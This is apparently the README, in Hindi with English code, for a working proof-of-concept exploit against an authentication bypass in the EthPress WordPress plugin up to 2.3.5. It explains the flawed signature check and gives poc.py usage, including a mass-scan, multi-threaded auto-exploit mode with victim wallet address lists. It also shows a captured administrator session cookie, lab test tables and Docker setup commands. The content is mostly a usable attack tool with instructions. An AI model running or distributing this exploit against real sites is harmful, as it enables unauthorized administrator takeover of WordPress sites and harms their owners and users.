
EthPress <= 2.3.5 के अनधिकृत प्रमाणीकरण बायपास का शोषण करने वाला सत्यापित proof-of-concept, जो वॉलेट पते के माध्यम से WordPress administrator सत्र प्रदान करता है।
EthPress वॉलेट-लॉगिन प्रमाणीकरण बायपास के लिए कार्यशील, सत्यापित प्रूफ-ऑफ-कॉन्सेप्ट, जिसे X-1 localhost लैब के विरुद्ध विकसित और मान्य किया गया है।
RAZZ, उपयोगकर्ता आईडी 1, roles=['administrator']) प्राप्त कर लेता है।http://localhost:8080 — WordPress + MySQL (Docker, wp_app/wp_db)_plugin-reference/ मेंapp/Login.php::verify_login() (v2.3.5) वॉलेट हस्ताक्षर की जाँच करता है, जाँच विफल होने पर एक WP_Error बनाता है — और फिर वापस लौटना भूल जाता है:
51 if ( !$verified ) {
52 $user = new \WP_Error('ethpress', $verify_error); // dead store, no return
53 }
54 // Log in. // fall-through
55 try {
...
70 $user = $address->log_in(); // wp_set_auth_cookie()
निष्पादन लॉगिन ब्लॉक में जारी रहता है, Address::log_in() हमलावर द्वारा दिए गए वॉलेट पते को उसके स्वामी WordPress उपयोगकर्ता से हल करता है, और wp_set_auth_cookie() उस उपयोगकर्ता को प्रमाणित करता है। प्रतिक्रिया {"success":true,"data":{"message":"Logged in"}} होती है।
# single target
python3 poc.py -u http://localhost:8080 -a 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a
# mass mode (file of targets, 20 threads, JSONL log)
python3 poc.py -f targets.txt -t 20 -o results.jsonl -a 0xVICTIMWALLET
# several candidate addresses against several targets
python3 poc.py -f targets.txt -af addresses.txt -t 20 -o results.jsonl
| फ्लैग | अर्थ |
|---|---|
-f, --file | मास स्कैन + ऑटो-एक्सप्लॉइट के लिए लक्ष्य URL की फ़ाइल (प्रति पंक्ति एक, # टिप्पणियाँ) |
-t, --threads | समवर्ती वर्कर थ्रेड्स (डिफ़ॉल्ट 10) |
-o, --output | आउटपुट/लॉग पथ, JSON Lines (डिफ़ॉल्ट cve-2026-19125-results.jsonl) |
-u, --url | एकल लक्ष्य URL (दोहराने योग्य) |
-a, --address | WordPress खाते से जुड़ा शिकार का वॉलेट पता |
-af, --address-file | उम्मीदवार वॉलेट पतों की फ़ाइल |
-k, --private-key | हमलावर की निजी कुंजी हेक्स (डिफ़ॉल्ट: प्रति हमले नई यादृच्छिक कुंजी) |
--timeout | HTTP टाइमआउट सेकंड (डिफ़ॉल्ट 20) |
--verify-tls | TLS प्रमाणपत्र सत्यापित करें |
-q, --quiet | प्रति-लक्ष्य प्रगति पंक्तियाँ दबाएँ |
requests एकमात्र निर्भरता है (pip install requests)। सभी Ethereum क्रिप्टो (Keccak-256, secp256k1, RFC 6979 हस्ताक्षर, पता पुनर्प्राप्ति) केवल मानक लाइब्रेरी के साथ poc.py के अंदर कार्यान्वित हैं।
[*] attacker wallet : fresh random key generated per attack
[*] targets=1 addresses=1 jobs=1 threads=1
[*] http://localhost:8080 EXPLOITED authentication cookie accepted by WordPress (full administrator confirmed)
[!] !! EXPLOITED http://localhost:8080 as user id=1 login=RAZZ roles=['administrator'] (primitive: valid-signature)
[!] !! session cookie: wordpress_logged_in_37d007a5...=RAZZ%7C1790339157%7C...
GET /wp-login.php करें और ethpressLoginWP.loginNonce पढ़ें। यह एक अनाम (uid=0) सत्र के लिए जारी किया गया wp_create_nonce('ethpress_log_in') है और इसलिए हमलावर की स्वयं की अनधिकृत AJAX कॉल के लिए वैध है।coinbase से भिन्न है। verify2() [false, error] लौटाता है — और 2.3.5 इसे त्याग देता है। (पूरी तरह से खाली हस्ताक्षर भी काम करता है; poc.py स्वचालित रूप से उस पर वापस आ जाता है।)/wp-admin/ तक पहुँचने, सत्र का REST नॉन्स स्क्रैप करने, और /wp/v2/users/me?context=edit को कॉल करने के लिए करें → वास्तविक उपयोगकर्ता आईडी, लॉगिन और भूमिकाएँ; साथ ही चार प्रशासक-केवल स्क्रीनों तक पहुँच का दावा करें।| परीक्षण | बिल्ड | अपेक्षित | देखा गया | आर्टिफैक्ट |
|---|---|---|---|---|
| सकारात्मक एक्सप्लॉइट, जुड़ा एडमिन पता | 2.3.5 | टेकओवर | id=1 RAZZ roles=['administrator'], सभी 4 एडमिन कैप | results.jsonl, evidence/run-positive.log |
| नकारात्मक नियंत्रण, बिना जुड़ा पता | 2.3.5 | कोई सत्र नहीं | "You have not registered on this site" | results-neg.jsonl |
| पैच किया गया नियंत्रण, दोनों प्रिमिटिव | 2.3.6 | अस्वीकृत | "Failed to verify signature. The address ... extracted ..." | results-patched.jsonl, evidence/run-patched-236.log |
| कच्चा curl पुनरुत्पादन, कोई टूलिंग नहीं | 2.3.5 | `Set-Cookie: ...=RAZZ | ...` | पुष्टि की गई |
| हस्ताक्षर-इनपुट सीमा मैट्रिक्स | 2.3.5 | मिश्रित | 2 नियतात्मक प्रिमिटिव; यादृच्छिक ब्लॉब्स ≈50/50 या HTTP 500 | evidence/boundary-matrix.txt |
users_can_register=1, बिना जुड़ा पता | 2.3.5 | नया सब्सक्राइबर सत्र | उपयोगकर्ता 0xAAAA... भूमिका subscriber के साथ बनाया गया, लॉग इन (फिर हटाया गया) | evidence/results-registration-open.jsonl |
इनमें से कोई भी पुनरुत्पादित करें:
bash lab-switch-version.sh 2.3.6 # patched -> exploit fails
bash lab-switch-version.sh 2.3.5 # vulnerable -> exploit succeeds
bash evidence/raw-repro.sh # tool-free curl transcript
python3 boundary-test.py # signature-input matrix
# plugin availability (official source only)
curl -s -o /dev/null -w '%{http_code}\n' https://wordpress.org/plugins/ethpress/ # 200
# vulnerable build installed and active
docker cp /tmp/plugin-src/ethpress/vulnerable-extracted/ethpress \
wp_app:/var/www/html/wp-content/plugins/ethpress
docker exec wp_app sh -c 'chown -R www-data:www-data /var/www/html/wp-content/plugins/ethpress \
&& find /var/www/html/wp-content/plugins/ethpress -type d -exec chmod 755 {} + \
&& find /var/www/html/wp-content/plugins/ethpress -type f -exec chmod 644 {} +'
docker exec wp_app wp plugin activate ethpress --allow-root # version 2.3.5
# precondition: admin (id=1 RAZZ) has a linked wallet address
docker exec wp_app wp user meta update 1 ethpress 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a --allow-root
wp user meta update ठीक वही स्टोरेज कुंजी लिखता है जो प्लगइन का स्वयं का Address::create() लिखता है (update_user_meta($uid, 'ethpress', $coinbase)), इसलिए पूर्व-शर्त वैध तरीके से प्रावधानित की जाती है — लक्ष्य का कोई कृत्रिम कमजोरिकरण नहीं।
डिफिंग के लिए संदर्भ बिल्ड प्लगइन्स निर्देशिका के बाहर रहते हैं: ../_plugin-reference/ethpress/{vulnerable,latest}।
Apache चलते रहने के दौरान प्लगइन संस्करणों को जगह पर बदलने से OPcache में पुराना संकलित बाइटकोड रह जाता है। PHP तब पिछले संस्करण की फ़ाइलों को निष्पादित करना जारी रखता है; क्योंकि 2.3.6 का freemius/start.php:584 को freemius/require.php → includes/class-fs-hook-snapshot.php (एक फ़ाइल जो केवल 2.3.6 में मौजूद है) की आवश्यकता होती है, साइट ने HTTP 500 लौटाया भले ही डिस्क पर 2.3.5 था। lab-switch-version.sh अब प्रत्येक स्विच के बाद wp_app को पुनः आरंभ करता है और /wp-login.php के 200 लौटने की प्रतीक्षा करता है। हमेशा चल रहे संस्करण की पुष्टि करें, केवल डिस्क पर मौजूद संस्करण की नहीं।
| कोड | अर्थ |
|---|---|
0 | कम से कम एक लक्ष्य EXPLOITED हुआ |
1 | ठीक चला, कोई लक्ष्य एक्सप्लॉइट नहीं हुआ |
2 | गलत उपयोग — इनपुट फ़ाइल अनुपलब्ध/अपठनीय, या कोई वॉलेट पता नहीं दिया गया |
-a वह एक चीज़ है जिसे आपको सही करना ही होगा-a/--address वह वॉलेट पता होना चाहिए जो लक्ष्य WordPress खाते से पहले से जुड़ा है — अर्थात् wp_usermeta पंक्ति जिसमें meta_key = 'ethpress' है। PoC इसे अनुमान नहीं लगा सकता: पता कहीं भी सार्वजनिक रूप से उजागर नहीं है।
docker exec wp_app wp user meta get 1 ethpress --allow-root
# -> 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a use THIS value